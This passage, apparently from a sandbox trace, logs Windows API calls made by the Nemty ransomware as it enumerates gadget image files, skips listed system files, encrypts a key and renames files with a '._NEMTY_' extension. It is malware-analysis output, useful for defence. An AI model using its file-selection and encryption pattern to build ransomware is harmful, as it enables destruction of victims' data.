lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.691] CloseHandle (hObject=0xffffffff) returned 0 [0141.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0141.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0141.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_down.png._nemty_kgobjgd_")) returned 0 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.691] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ba4c5a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ba4c5a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bcc0b35, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd33, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="shuffle_over.png", cAlternateFileName="")) returned 1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2=".") returned 1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2="..") returned 1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2="...") returned 1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2="windows") returned -1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2="$RECYCLE.BIN") returned 1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2="rsa") returned 1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2="NTDETECT.COM") returned 1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2="ntldr") returned 1 [0141.691] lstrcmpiW (lpString1="shuffle_over.png", lpString2="MSDOS.SYS") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="IO.SYS") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="boot.ini") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="boot.ini") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="ntuser.dat") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="desktop.ini") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="CONFIG.SYS") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="RECYCLER") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="BOOTSECT.BAK") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="bootmgr") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="programdata") returned 1 [0141.692] lstrcmpiW (lpString1="shuffle_over.png", lpString2="appdata") returned 1 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_over.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_over.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_over.png", lpUsedDefaultChar=0x0) returned 16 [0141.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0141.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_over.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_over.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_over.png", lpUsedDefaultChar=0x0) returned 16 [0141.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0141.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_over.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_over.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_over.png", lpUsedDefaultChar=0x0) returned 16 [0141.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_over.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_over.png", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_over.png", lpUsedDefaultChar=0x0) returned 16 [0141.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0141.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0141.693] Sleep (dwMilliseconds=0x5) [0141.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x81c8f30, dwHighDateTime=0x1d561e8)) [0141.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x81c8f30, dwHighDateTime=0x1d561e8)) [0141.708] GetLastError () returned 0x5 [0141.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.708] GetLastError () returned 0x5 [0141.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.708] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.708] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.709] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0141.709] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="x+6fudFhziaO/5684V710CJKlV4xTqlsmXyybjeq+UOlGy54ZIvvXzSf5BkSmDs/\r\ndFBkmimeX0siZ8vLC48J70kDceb1y2DyNzIW8AEu9k30zv03qCGGTQm6qyHa29U2\r\nJa5QhxJFFrDe16ggK7cN0dwtkWEAEnjVvTJmzifv8erX9Pm9ykCGUzvECOO13v8h\r\ntFp1NXO1hQ1ta6gmFhJpSXy/Ibhg+/zClDM0qSvhlvwQZx7DxxP0dBH+qPP8vJxs\r\ncfi7CDVzIUtoITr11Z3WzNdqgBnqBiBHZkLijIQ5/cq0wEmuqC5W85bEFOMqYzsi\r\n7e0Pzo6hqI3u0N5Yp4feeg==\r\n", pcchString=0x653e91c) returned 1 [0141.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0141.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0141.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.709] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.709] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.764] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.826] CloseHandle (hObject=0xffffffff) returned 0 [0141.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0141.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0141.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_over.png._nemty_kgobjgd_")) returned 0 [0141.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | 